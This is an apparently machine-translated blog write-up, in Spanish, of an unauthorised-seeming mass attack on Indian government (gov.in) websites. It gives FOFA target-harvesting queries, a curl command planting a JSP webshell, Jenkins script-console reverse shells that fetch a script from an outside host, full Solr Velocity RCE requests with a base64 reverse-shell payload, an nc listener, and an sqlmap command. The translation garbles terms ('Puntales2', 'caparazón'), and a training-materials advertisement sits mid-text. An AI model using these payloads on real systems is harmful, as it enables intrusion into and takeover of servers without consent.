Una prueba de penetración de Red Hat totalmente expuesta [getshell]

0x01, etapa de recopilación de información

Nota: este proceso de recopilación de información utiliza principalmente la plataforma de detección de red FOFA https://fofa.info/=

Al comienzo de la recopilación, estaba un poco confundido y realicé directamente una recopilación de nombres de dominio "gov.in" a gran escala.

host="gov.in" && country="IN"

imagen-20230711021949594

Jaja 68,465 piezas de datos, despegó después de pensarlo, pero hay un problema, cómo descargar al local, la API de usuarios avanzados solo puede llamar y descargar 1w piezas de datos, piénseloimagen-20230711022232842

Intente escribir un guión para ver:

import pythonfofa
import csv

filename = "IN_domain.csv"

email = 'u_mail'
key = 'u_API_KEY'
search = pythonfofa.Client(email, key)
get_data = search.search('host="gov.in" && country="IN"', size=70000)
# print(get_data)

requests = [result[1] for result in get_data['results']]
print(requests)
# 打开CSV文件并设置写入模式
with open(filename, "w", newline="") as file:
    writer = csv.writer(file)

    # 遍历请求列表
    for request in requests:
        # 在控制台打印域名
        print(request)

        # 检测域名是否包含"http://"
        if not request.startswith("http://") and not request.startswith("https://"):
            # 如果不包含,则在域名前添加"http://"
            request = "http://" + request

        # 在域名后添加斜杠"/"
        request += "/"

        # 将请求和值"1"作为一行写入CSV文件
        writer.writerow([request, 1])

Sí, no debe ejecutarse, establecer un punto de interrupción y depurar para ver

imagen-20230711024218564

Es muy bueno, es cierto que no puede hacer elementos de 7w directamente, cambiar su idea de colección, recopilar marcos principales y realizar los escaneos faltantes correspondientes

Declaración de la regla FOFA para vulnerabilidades relacionadas en los marcos principales:

fastjson

app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")

Puntales2

app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")

Log4j2

(app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443"))

Otros son similares, solo sigue la pintura de calabaza.

imagen-20230711025300355

El sitio de destino está casi recopilado y es la etapa de detección de vulnerabilidades.

‍Ayuda a estudiar ciberseguridad, obtén un conjunto completo de información S letter gratis:
① Mapa mental de la ruta de crecimiento del aprendizaje de ciberseguridad
② Más de 60 kits de herramientas de ciberseguridad clásicas
③ Más de 100 informes de análisis SRC
④ Más de 150 libros electrónicos de tecnología práctica de defensa y ataque de ciberseguridad
⑤ Lo más Guía de examen de certificación CISSP autorizada + Banco de preguntas
⑥ Más de 1800 páginas del Manual de habilidades prácticas de CTF
⑦ La última colección de preguntas de entrevistas de empresas de seguridad de redes (incluidas las respuestas)
⑧ Guía de pruebas de seguridad de clientes de aplicaciones (Android+IOS)

0x02, detección y utilización de vulnerabilidades

Puntales2:

Elimine directamente un AWVS de escaneo perdido a gran escala para detectar lotes de vulnerabilidades:

imagen-20230711025640689

Los datos despegaron directamente el primer día, porque el objetivo esta vez esobtener conchaIgnore directamente las advertencias de vulnerabilidades de riesgo medio y bajo, y vea las vulnerabilidades de alto riesgo:

imagen-20230711025838442

buen grupoPuntales2Vulnerabilidades, vaya directamente a la herramienta:

imagen-20230711030506931

Obtenga un RCE (vulnerabilidad de ejecución de comandos remotos), escritura remotacaparazón, primero use la herramienta para generar unCáscara Antsword (espada hormiga) en formato jsp

imagen-20230711030808818

Coloque el shell en un servidor de red pública y luego ejecute el comando para ver la ruta web:/var/tomcat9/pmrportal/ROOT/

imagen-20230711031350331

ejecución directa

curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp

Luego se puede conectar la herramienta webshell Antsword:

imagen-20230711031634840

Todavía hay varias vulnerabilidades del S2-045 que han sido expuestas. El método getshell es el mismo que el anterior, y no lo describiré en detalle ____________________________________.

Weblogic:

imagen-20230711025901659

Awvs muy útil, inyecta directamente el caballo de memoria en la herramienta:

imagen-20230713175036472

Ice Scorpion se conecta a webshell:

imagen-20230713175143564

Hay varias otras vulnerabilidades del mismo tipo, y el método de getshell es el mismo, por lo que no las describiré una por una.》》

(PD: en este momento, ya es un poco débil y no tiene sentido probar manualmente la carga)

Jenkins:

Cuando otros marcos no lograron ganar nada en el medio, fui a explorar el océano de conocimiento y vi una vulnerabilidad de marco ( Jenkins ) con una gran cantidad de + RCE no autorizados. Sin más preámbulos, vaya directamente a FOFA:

(app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443")

imagen-20230713220128955

Mirando los 86 activos, hay dramas, y el número no es mucho Prueba de mano directa:

imagen-20230713180849084

Hay un acceso no autorizado, visite el administrador --> página de secuencias de comandos y realice una prueba de ejecución de comandos:

println "ls -al".execute().text

imagen-20230713181156856

Hay ejecución de comando, intente invertir el shell:

println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text

El servidor que recibe el shell abre el puerto escuchando:

imagen-20230713181947756

Ejecutar una orden

imagen-20230713181823099

Se encontró que ningún shell se recuperó y supuso que el shell inverso no se podía ejecutar en el lado web, por lo que el comando de shell inverso se escribió en el archivo .sh y luego se ejecutó para realizar la operación de shell inverso:

Escriba lo siguiente en el archivo sh:

bash -i >& /dev/tcp/ip/port 0<&1

Guárdelo en un puerto web abierto, ejecute el siguiente comando curl en el servicio jenkins para descargar de forma remota el archivo sh:

println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text

imagen-20230713182926953

Compruebe si el archivo .sh se obtiene correctamente:

println "ls -al /tmp".execute().text

imagen-20230713183110423

Obtenga el archivo .sh con éxito, ejecute el archivo y rebote el shell:

Activar seguimiento:

imagen-20230713183406307

Ejecute el comando para iniciar el archivo .sh:

println "bash /tmp/jenkins.sh".execute().text

imagen-20230713183606528

imagen-20230713183513017

Supervisó con éxito el caparazón que se acercó y ganó otro. Otros no existían sin autorización, por lo que no se hizo ningún intento.

Apache-Solr

No tengo nada que hacer, abrí la biblioteca y leí algunas recurrencias de RCE, y por capricho, abrí FOFA:

country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80")

imagen-20230719101927146

Los datos no son grandes y, luego, probados a mano, obtuvieron tres no autorizados (no es necesario iniciar sesión):

autorizado

imagen-20230719102234003

no autorizado

imagen-20230719102331665

Después de obtener la autorización no autorizada, realice la detección de CVE:

visitar /solr/admin/cores/, obtenername => music

imagen-20230719102848788

Luego empalme la ruta /solr/music/config/para ver la información de configuración del usuario:

imagen-20230719103210432

Ambos true, puede usar directamente la carga útil divulgada en la red pública para realizar RCE,

GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

imagen-20230719115129111

Prueba si está fuera de la red:

Modifique el comando de ejecución para

curl%20xtolsc.dnslog.cn

imagen-20230719115425835

Puede salir de la red y rebotar directamente el caparazón:

GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2xxxxxx8xMDEuNDMuMTM5LjI0My81MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end  HTTP/1.1
Host: ip
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

VPS permite el monitoreo de puertos:nc -lvvnp 5000

imagen-20230719115817964

Escuché el shell que apareció, está bien, gané otro, con privilegios de root.

Otros errores encontrados

XSS reflejado

No hay dificultad en el proceso de prueba específico, no es necesario omitir la lista negra, declaración de prueba

<script>alert(1)</script>

imagen-20230726182631855

inyección SQL

No existe una prueba específica para este tipo, y después de encontrar el punto de inyección, vaya directamente a SQLmap para escanear:

sqlmap https://******.gov.in/****/Validate.jsp --data "[email protected]&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql

imagen-20230726183935140

También se han encontrado otras vulnerabilidades, pero no son el foco de esta infiltración, por lo que no hay foco para profundizar.

Resumen de penetración

Esta vez el período de prueba es largo y los objetivos de prueba están expuestos a muchos puntos, es una práctica de infiltración muy interesante, es una pena que no podamos dedicarnos a ella por otras cosas en la etapa posterior.

Supongo que te gusta

Origin blog.csdn.net/qq_38154820/article/details/132201867
Recomendado
Clasificación